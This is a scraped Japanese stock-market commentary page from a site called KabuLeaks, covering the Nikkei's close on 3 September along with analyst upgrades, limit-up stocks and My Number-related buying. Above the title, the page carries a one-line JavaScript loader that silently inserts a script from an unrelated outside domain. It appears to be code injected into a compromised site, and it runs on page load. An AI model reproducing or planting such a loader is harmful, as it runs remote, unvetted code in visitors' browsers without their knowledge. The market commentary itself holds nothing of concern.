;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/3 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/3 大引け】

本日の日経平均株価は86円高と4日ぶり反発。前日の欧米株高を好感し、買い先行スタート。一時は386円高となったものの、今晩のECB理事会や明日の8月米雇用統計発表など重要イベントを見極めたいとして、買い一巡後は上げ幅が縮小。後場にかけては様子見気分が一段と強まる展開となった。

個別では、バークレイズが投資判断を「アンダーウェイト」から「オーバーウェイト」に一気に2段階格上げ。目標株価も2200円から3000円にまで引き上げた【9437】NTTドコモが上昇。直近IPOの【1433】ベステラやフライホイールへの期待感再燃から【7709】クボテックなどがストップ高に。また、後場からはマイナンバー法成立が伝わり関連銘柄に買いが集中し、特に以前からマイナンバー関連本命として呼び声の高かった【3742】ITbookが後場急伸した。

明日も中国は休場だが、米雇用統計など重要な経済指標の発表を控えていること。週末要因を考えるとやや方向感に欠く展開が明日も想定される。今晩にはECB理事会が予定されているが、これに関しては一部では追加緩和の期待もあるものの、原状の市場の混乱が即座に追加緩和につながるとは思えないとの見方も強くあまり影響はないとされている。